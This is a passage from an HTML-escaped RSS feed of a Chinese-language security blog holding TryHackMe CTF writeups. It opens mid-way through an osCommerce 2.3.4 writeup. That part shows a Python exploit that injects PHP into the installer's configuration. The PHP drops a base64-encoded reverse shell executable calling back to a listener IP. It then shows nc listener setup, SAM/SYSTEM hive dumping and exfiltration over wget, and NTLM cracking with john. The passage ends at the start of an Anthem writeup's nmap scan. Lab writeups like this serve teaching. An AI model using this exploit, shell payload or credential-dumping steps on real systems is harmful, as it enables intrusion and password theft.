&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;base_url &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;http://10.10.66.7:8080/oscommerce-2.3.4/catalog/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;target_url &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/install.php?step=4&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;data &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;DIR_FS_DOCUMENT_ROOT&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;./&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# the payload will be injected into the configuration file via this code&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# &amp;#39; define(\&amp;#39;DB_DATABASE\&amp;#39;, \&amp;#39;&amp;#39; . trim($HTTP_POST_VARS[&amp;#39;DB_DATABASE&amp;#39;]) . &amp;#39;\&amp;#39;);&amp;#39; . &amp;#34;\n&amp;#34; .&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# so the format for the exploit will be: &amp;#39;); PAYLOAD; /*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# fsockopen(&amp;#34;110.14.7.198&amp;#34;,7877);popen(&amp;#34;/bin/sh -i &amp;amp;3 2&amp;gt;&amp;amp;3&amp;#34;, &amp;#34;r&amp;#34;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\&amp;#39;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;); &lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# payload += &amp;#39;echo passthru(&amp;#34;type configure.php&amp;#34;);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#ff79c6"&gt;+=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;header(&amp;#39;Content-type: text/plain&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$ip = &amp;#34;10.14.7.198&amp;#34;; //change this
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$port = &amp;#34;7877&amp;#34;; //change this
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$payload = &amp;#34;7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2clIOCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwlW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R+nP2XDqFfFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U07gevzjnkADXhlVj5kNEHeokIzlhdpJDK3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8IC613I+0IoWFOh0qxjnLUgAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrq1+0tVHkyV/tH1O2/FHtxVgHmccSpoZa5ZCO9O3V3P6aoKyn/n69K535eDrNc9UQfmDw6aqiuNFx0xctZ+zBD7SOT9oXWA5kvfUqcLxkjF2Ejy49W7jc/skP6dOM0oxFIfzI6qbehMItaYb8E3U/NzAtnH7cCnO7YlAUmKuOWukuwvn8B0cHa1a9nZJS8oNVsvJBkGTRyt5jjDJM5OVU87zRk+zQjcUPcewVDSbhr9dcG+q+rDd+1fVYJ1NEnHYcKkQnd7WdfGYoga/C6RF7vlEEEvdTgT6uwxAQM5c4xxk07Ap3yrfUBLREvDzdPdI0k39eF1nzQD+SR6BSxed1mCWHCRWByfej33WjX3vQFj66FVibo8bb1TkNmf0NoE/tguksTNnlYPLsfsANbaDUBNTmndixgsCKb9QmV4f2667Z1n8QbEprwIIfIpoh/HnqXyfJy/+SnobFax1wSy8tXWV30MTG1UlLVKPbBBUz29QEB33o2tiVytuBmpZzsp+JEW7yre76w1XOIxA4WcURWIQwOuRd0D1D3s1zYxr6yqp8beopn30tPIdEut1sTj+5gdlNSGHFs/cKD6fTGo1WV5MeBOdV5/xCHpy+WFvLO5ZX5saMyZrnN9mUzKht+IsbT54QYF7mX1j7rfnnJZkjm72BJuUb3LCKyMJiRh23fktIpRF2RHWmszSWNyGSlQ1HKwc9jW6ZX3xa693c8b1UvcpAvV84NanvJPmb9ws+1HrrKAphe9MaUCDyGUPxx+osUevG0W3D6vhun9AX2DJD+nXlua7tLnFX197wDTIqn/wcX/4nEG8RjGzen8LcYhNP3kYXtkBa28TMS2ga0FO+WoY7uMdRA9/r7drdA2udNc7d6U7C39NtH7QvGR1ecwsH0Cxi7JlYjhf3A3J76iz5+4dm9fUxwqLOKdtF1jW0Nj7ehsiLQ7f6P/CE+NgkmXbOieExi4Vkjm6Q7KEF+dpyRNQ12mktNSI9zwYjVlVfYovFdj2P14DHhZf0I7TB22IxZ+Uw95Lt+xWmPzW7zThCb2prMRywnBz4a5o+bplyAo0eTdI3vOtY0TY1DQMwx0jGv9r+T53zhnjqii4yjffa3TyjbRJaGHup48xmC1obViCFrVu/uWY2daHTSAFQQwLww7g8mYukFP063rq4AofErizmanyC1R8+UzLldkxmIz3bKsynaVbJz6E7ufD8OTCoI2fzMXOa67BZFA1iajQDmTnt50cverieja4yEOWV3R32THM9+1EDfyNElsyN5gVfa8xzm0CsKE/Wjg3hPR/A0WDUQ1CP2oiVzebW7RuG6FPYZzzUw+7wFMdg/0O1kx+tu6aTspFkMu0u3Py1OrdvsRwXVS3qIAQ/nE919fPTv6TusHqoD9P56vxfJ5uyaD8hLl1HbDxocoXjsRxCfouJkibeYUlQMOn+TP62rI6P6kHIewXmbxtl59BxMbt6Hn7c7NL7r0LfiF/FfkTFP1z7UF9gOjYqOP694ReKlG8uhCILZ4cLk2Louy9ylYDaB5GSpk03l7upb584gR0DH2adCBgMvutH29dq9626VPPCPGpciG6fpLvUOP4Cb6UC9VA9yA9fU1i+m5Vdd6SaOFYVjblJqhq/1FkzZ0bTaS9VxV1UmstZ8s3b8V7qhmOa+3Klw39p5h/cP/woRx4hVQfHLQV7ijTbFfRqy0T0jSeWhjwNrQeRDY9fqtJiPcbZ5xED4xAdnMnHep5cq7+h79RkGq7v6q+5Hztve262b260+c9h61a6Jpb+ElkPVa9Mnax7k4Qu+Hzk/tU+ALP6+Frut4L8wvwqXOIaVMZmDCsrKJwU91e/13gGfet8EPgZ8eoaeLvXH+JpXLR8vuALdasb5sXZVPKZ7Qv+8X0qYKPCNLid6Xn7s92DbPufW/GMMQ4ylT3YhU2RP3jZoIWsTJJQvLzOb4KmixmIXZAohtsI0xO4Ybd9QtpMFc0r9i+SkE/biRFTNo+XMzeaXFmx0MEZvV+T2DvOL4iVjg0hnqSF5DVuA58eyHQvO+yIH82Op3dkiTwGDvTOClHbC54L6/aVn9bhshq5Zntv6gbVv5YFxmGjU+bLlJv9Ht/Wbidvvhwa4DwswuF155mXl7pcsF8z2VUyv8Qa7QKpuTN//d9xDa73tLPNsyuCD449KMy4uvAOH80+H+nds0OGSlF+0yc4pyit0X80iynZmCc7YbKELGsKlRFreHr5RYkdi1u0hBDWHIM7eLlj7O/A8PXZlh5phiVzhtpMYTVzZ+f0sfdCTpO/riIG/POPpI3qonVcE636lNy2w/EBnz7Os+ry23dIVLWyxzf8pRDkrdsvZ7HMeDl9LthIXqftePPJpi25lABtDHg1VWK5Gu7vOW9fBDzRFw2WWAMuBo6Xbxym8Fsf9l0SV3AZC7kGCxsjFz95ZcgEdRSerKtHRePpiaQVquF8KOOiI58XEz3BCfD1nOFnSrTOcAFFE8sysXxJ05HiqTNSd5W57YvBJU+vSqKStAMKxP+gLmOaOafL3FLpwKjGAuGgDsmYPSSpJzUjbttTLx0MkvfwCQaQAf102P1acIVHBYmWwVKhSiVWpPit8M6GfEQRRbRVLpZA/lKaQy8VpsFhEIgHB0VFxMaHB6CxiYnKAKIk8I2fmNAtLZGIoXSiRqpVifxIAQRskNQ6bXylhtVD6njqPGYhXKL/rqrkOLUzNW6eChDBWJFo63lv7zXbbrPU+CfJMuSJHDmUVjshrxtUixYYPFGmLJAqGUgHXX5J1kRV7s9er6GEeJJ/5NdluqRLhkvfFhs+whf0Qzspoa7d/4ysE834sgNlJxMylgGAJxi3f8fkWWd9lBKEAXCpRiw2mgjLVBCeV6mvFowZg7+E17kdu5iyJaDKlSevypzyxoSRrrpkKhpHpC6T0xs6p6hr7rHmQrSbDdlnSXcpBN8IR2/AkTtmX7BqWzDgMlV6LC04oOjVYNw5GkAUg1c85oOWTkeHOYuDrYixI0eIWiyhhGxtT6sznm4PJmTa7bQqkvbn8lt044Oxj890l3VtssRWUIGuBliVcQf8yrb1NgGMu2Ts7m1+pyXliaZ9LxRQtm2YQBCFaq43F+t24sKJPh3dN9lDjGTDp6rVms5OEGkPDxnZSs0vwmZaTrWvuOdW/HJZuiNaCxbjdTU9IvkHkjVRv4xE7znX3qLvvTq+n0pMLIEffpLXVV/wE5yHZO9wEuojBm3BeUBicsdBXS/HLFdxyv5694BRrrVVM8LYbH7rvDb7D3V1tE3Z31dG9S9YGhPlf71g+/h6peY/K573Q0EjfHutRkrnZdrPR/Nx4c/6NgpjgXPn+1AM3lPabaJuLtO717TkhbaVJpCLp8vFPQyE+OdkdwGws2WN78WNC/ADMUS/EtRyKKUmvPSrFTW8nKVllpyRlvrxNcGGpDHW/utgxRlWpM47cXIbzWK0KjyeI7vpG3cXBHx48fioKdSsvNt180JeNugNPp/G9dHiw7Mp6FuEdP1wYWuhUTFJ6libBKCsrMZbB142LSypxWdAyEdoHZLmsqrQC3GieGkZHQBZOFhLxmeacNRRfn8UEEw6BSDv3/svZRg7AwtklaCK5QBKOUrB3DzG/k8Ut9RRigqUKlRh83jsdIZSLpGKlWAiLY5SKNOT6cPV+Li1EbA+LJbAkTSiNE6dV9/A4cQ6hcjulfbVVZmIu3Z8SvqJHrqhZmC2hymXipRuE7sLUjurA6kgukydUsZRzlDbPb3z4MkohUksLnEO4yPiQlX1EHLwaVmetlacrDvUkqyB8Trbk/U/GZeIu3qVseyKcIN/K//lV9XLR58ezHMIkUjMLq1wxES9VCU9I1a9ivB/eOJMPB9CqZDWODTaJwqSwqjjyyDdWw2ujU7fND/+iq/qlby6fnxEumy//OkMb1dGgomZhxRib9B07XlTLBsVuKr4wiwHnZdFqb8z+Yb8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YMtAnXQhg0uen5zzvTe7PIcjEsrSsvNUElSRD3unww3WhNDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVIhd5qwJmJTukgw4dGVsV2Z2b6lPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM9if/6ADM0mFNQ9IQPpl+2JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$evalCode = gzinflate(base64_decode($payload));
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$evalArguments = &amp;#34; &amp;#34;.$port.&amp;#34; &amp;#34;.$ip;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$tmpdir =&amp;#34;C:&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\\&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;windows&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\\&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;temp&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;chdir($tmpdir);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$res .= &amp;#34;Using dir : &amp;#34;.$tmpdir;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$filename = &amp;#34;D3fa1t_shell.exe&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$file = fopen($filename, &amp;#39;wb&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;fwrite($file, $evalCode);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;fclose($file);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$path = $filename;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$cmd = $path.$evalArguments;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$res .= &amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;Executing : &amp;#34;.$cmd.&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;echo $res;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;$output = passthru($cmd);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payload &lt;span style="color:#ff79c6"&gt;+=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;/*&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;data[&lt;span style="color:#f1fa8c"&gt;&amp;#39;DB_DATABASE&amp;#39;&lt;/span&gt;] &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; payload
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# exploit it&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;post(url&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;target_url, data&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; r&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;status_code &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;200&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;[+] Successfully launched the exploit. Open the following URL to execute your code&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; base_url &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;install/includes/configure.php&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;[-] Exploit did not execute as planned&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;本機端開 &lt;code&gt;nc -vlk 7877&lt;/code&gt; 進行監聽php 端執行下去，就拿到 shell 了!!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1be58-QHiq4TY.png"&gt;由於我們是 system 權限- 所以可以直接拿 admin 的 Root flag&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;C:\Users\Administrator\Desktop\root.txt.txt&lt;/code&gt;我猜應該是出題者手殘之類的，不小心打了兩次 &lt;code&gt;.txt&lt;/code&gt; 吧&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/893d9-ACyckKs.png"&gt;&lt;code&gt;THM{aea1e3ce6fe7f89e10cea833ae009bee}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="破密"&gt;破密&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;題目說需要破 &lt;code&gt;&amp;quot;Lab&amp;quot; user NTML hash decrypted&lt;/code&gt;我覺得題目打錯字，應該是說 NTLM 的 hash XD由於我們是 system 權限，很大，所以可以用指令直接匯出兩個 NTLM 相關檔案、&lt;code&gt;SAM&lt;/code&gt; 與 &lt;code&gt;SYSTEM&lt;/code&gt;- &lt;code&gt;reg save HKLM\SAM C:\sam&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reg save HKLM\SYSTEM C:\system&lt;/code&gt;接下來把兩個檔案傳回本機- 這邊我用的方法是，直接把這兩個檔案放到 web 路徑中，用wget來載&lt;/li&gt;
&lt;li&gt;reverse shell&lt;code&gt;copy sam C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\include&lt;/code&gt;攻擊機- &lt;code&gt;wget http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/includes/sam&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/includes/user&lt;/code&gt;將 &lt;code&gt;sam&lt;/code&gt;、&lt;code&gt;system&lt;/code&gt; 轉為 john 格式- &lt;code&gt;samdump2 system sam &amp;gt; j.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;題目問 &lt;code&gt;LAB&lt;/code&gt; 使用者，所以我們只需要保留這一行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::&lt;/code&gt;而我們要破的真正 hash 是這個&lt;/li&gt;
&lt;li&gt;&lt;code&gt;30e87bf999828446a1c1209ddde4c450&lt;/code&gt;暴力破解- 其實暴力破解通常是下下策，往往會先試著Google之類尋找網路資源&lt;/li&gt;
&lt;li&gt;不過我 Google 這段 hash 值卻出現了一堆爆雷的內容，只好自己破解QQ&lt;/li&gt;
&lt;li&gt;通常我愛用 &lt;code&gt;rockyou.txt&lt;/code&gt; 但在這邊破不出來&lt;/li&gt;
&lt;li&gt;後來我採用了這一包https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-dup.txt&lt;/li&gt;
&lt;li&gt;不要問我為什麼……隨便找ㄉ&lt;code&gt;john j.txt --wordlist=/opt/xato-net-10-million-passwords-dup.txt --format=NT&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1ef2d-NSi3OCS.png"&gt;爆出密碼 &lt;code&gt;googleplus&lt;/code&gt;另外一種網路解法- &lt;a href="https://crackstation.net/"&gt;https://crackstation.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;輸入 &lt;code&gt;30e87bf999828446a1c1209ddde4c450&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c1184-tc69Bnj.png"&gt;&lt;/li&gt;
&lt;li&gt;回傳密碼為 &lt;code&gt;googleplus&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Anthem (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/07/29/anthem-try-hack-me-writeup/</link><pubDate>Thu, 29 Jul 2021 23:47:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/07/29/anthem-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/anthem"&gt;https://tryhackme.com/room/anthem&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.18.8&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;這題感覺有點廢，但還是寫一下WP好ㄌ&lt;/li&gt;
&lt;li&gt;機器開機要等將近5分鐘為什麼?&lt;/li&gt;
&lt;li&gt;不知道，反正我等了5分鐘才有畫面&lt;/li&gt;
&lt;li&gt;估計是因為 Windows 有點肥ㄅ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;老梗 nmap -A 有開 80、3389&lt;/li&gt;
&lt;li&gt;有抓到 robots.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 21:42 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report for 10.10.18.8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up (0.28s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: 998 filtered ports
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-robots.txt: 4 disallowed entries
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_/bin/ /config/ /umbraco/ /umbraco_client/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Anthem.com - Welcome to our blog
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3389/tcp open ms-wbt-server Microsoft Terminal Services
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| rdp-ntlm-info:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Target_Name: WIN-LU09299160F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Domain_Name: WIN-LU09299160F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Computer_Name: WIN-LU09299160F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Domain_Name: WIN-LU09299160F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Computer_Name: WIN-LU09299160F
